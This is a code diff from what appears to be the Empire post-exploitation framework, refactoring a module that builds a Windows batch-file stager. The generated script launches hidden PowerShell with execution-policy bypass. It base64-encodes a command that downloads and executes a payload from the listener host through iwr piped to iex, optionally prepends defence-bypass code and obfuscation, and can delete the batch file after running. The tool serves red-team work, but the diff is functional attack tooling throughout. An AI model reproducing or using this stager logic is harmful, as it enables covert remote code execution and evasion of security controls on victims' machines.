2
2
3
3
import logging
4
4
from builtins import object
5
+ from textwrap import dedent
5
6
6
7
from empire .server .common .helpers import enc_powershell
7
8
from empire .server .core .db import models
@@ -79,54 +80,61 @@ def __init__(self, mainMenu, params=[]):
79
80
self .options [option ]["Value" ] = value
80
81
81
82
def generate (self ):
82
- # extract all of our options
83
- listener_name = self .options ["Listener" ]["Value" ]
84
- delete = self .options ["Delete" ]["Value" ]
85
- obfuscate = self .options ["Obfuscate" ]["Value" ]
86
- obfuscate_command = self .options ["ObfuscateCommand" ]["Value" ]
87
- bypasses = self .options ["Bypasses" ]["Value" ]
88
- language = self .options ["Language" ]["Value" ]
89
-
90
- if obfuscate .lower () == "true" :
83
+ # Extract options
84
+ options = self .options
85
+ listener_name = options ["Listener" ]["Value" ]
86
+ obfuscate_command = options ["ObfuscateCommand" ]["Value" ]
87
+ bypasses = options ["Bypasses" ]["Value" ]
88
+ language = options ["Language" ]["Value" ]
89
+
90
+ listener = self .mainMenu .listenersv2 .get_by_name (SessionLocal (), listener_name )
91
+ host = listener .options ["Host" ]["Value" ]
92
+
93
+ if options ["Obfuscate" ]["Value" ].lower () == "true" :
91
94
obfuscate = True
92
95
else :
93
96
obfuscate = False
94
97
95
- listener = self .mainMenu .listenersv2 .get_by_name (SessionLocal (), listener_name )
96
- host = listener .options ["Host" ]["Value" ]
97
- if host == "" :
98
+ if options ["Delete" ]["Value" ].lower () == "true" :
99
+ delete = True
100
+ else :
101
+ delete = False
102
+
103
+ if not host :
98
104
log .error ("[!] Error in launcher command generation." )
99
105
return ""
100
106
107
+ launcher = ""
101
108
if listener .module in ["http" , "http_com" ]:
102
109
if language == "powershell" :
103
- launcher = "powershell.exe -nol -w 1 -nop -ep bypass "
104
110
launcher_ps = f"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('{ host } /download/powershell/')-UseBasicParsing|iex"
105
111
106
- if obfuscate :
107
- launcher = "powershell.exe -nol -w 1 -nop -ep bypass -enc "
108
-
109
- with SessionLocal .begin () as db :
110
- for bypass in bypasses .split (" " ):
111
- bypass = (
112
- db .query (models .Bypass )
113
- .filter (models .Bypass .name == bypass )
114
- .first ()
115
- )
116
- if bypass :
117
- if bypass .language == language :
118
- launcher_ps = bypass .code + launcher_ps
119
- else :
120
- log .warning (
121
- f"Invalid bypass language: { bypass .language } "
122
- )
123
-
124
- launcher_ps = self .mainMenu .obfuscationv2 .obfuscate (
112
+ with SessionLocal .begin () as db :
113
+ for bypass_name in bypasses .split (" " ):
114
+ bypass = (
115
+ db .query (models .Bypass )
116
+ .filter (models .Bypass .name == bypass_name )
117
+ .first ()
118
+ )
119
+
120
+ if bypass :
121
+ if bypass .language == language :
122
+ launcher_ps = bypass .code + launcher_ps
123
+ else :
124
+ log .warning (
125
+ f"Invalid bypass language: { bypass .language } "
126
+ )
127
+
128
+ launcher_ps = (
129
+ self .mainMenu .obfuscationv2 .obfuscate (
125
130
launcher_ps , obfuscate_command
126
131
)
127
- launcher_ps = enc_powershell (launcher_ps ).decode ("UTF-8" )
132
+ if obfuscate
133
+ else launcher_ps
134
+ )
135
+ launcher_ps = enc_powershell (launcher_ps ).decode ("UTF-8" )
136
+ launcher = f"powershell.exe -nop -ep bypass -w 1 -enc { launcher_ps } "
128
137
129
- launcher = launcher + launcher_ps
130
138
else :
131
139
oneliner = self .mainMenu .stagers .generate_exe_oneliner (
132
140
language = language ,
@@ -135,28 +143,35 @@ def generate(self):
135
143
encode = True ,
136
144
listener_name = listener_name ,
137
145
)
146
+ launcher = f"powershell.exe -nop -ep bypass -w 1 -enc { oneliner .split ('-enc ' )[1 ]} "
138
147
139
- oneliner = oneliner .split ("-enc " )[1 ]
140
- launcher = f"powershell.exe -nol -w 1 -nop -ep bypass -enc { oneliner } "
141
-
142
- else :
143
- if language == "powershell" :
144
- launcher = self .mainMenu .stagers .generate_launcher (
145
- listenerName = listener_name ,
146
- language = "powershell" ,
147
- encode = True ,
148
- obfuscate = obfuscate ,
149
- obfuscation_command = obfuscate_command ,
150
- )
148
+ elif language == "powershell" :
149
+ launcher = self .mainMenu .stagers .generate_launcher (
150
+ listenerName = listener_name ,
151
+ language = "powershell" ,
152
+ encode = True ,
153
+ obfuscate = obfuscate ,
154
+ obfuscation_command = obfuscate_command ,
155
+ )
151
156
152
157
if len (launcher ) > 8192 :
153
- log .error ("[!] Error launcher code is greater than 8192 characters." )
158
+ log .error ("[!] Error: launcher code is greater than 8192 characters." )
154
159
return ""
155
160
156
- code = "@echo off\n "
157
- code += "start " + launcher + "\n "
158
- if delete .lower () == "true" :
159
- # code that causes the .bat to delete itself
160
- code += '(goto) 2>nul & del "%~f0"\n '
161
+ code = dedent (
162
+ f"""
163
+ @echo off
164
+ start /B { launcher }
165
+ """
166
+ ).strip ()
167
+
168
+ if delete :
169
+ code += "\n "
170
+ code += dedent (
171
+ """
172
+ timeout /t 1 > nul
173
+ del "%~f0"
174
+ """
175
+ ).strip ()
161
176
162
177
return code
0 commit comments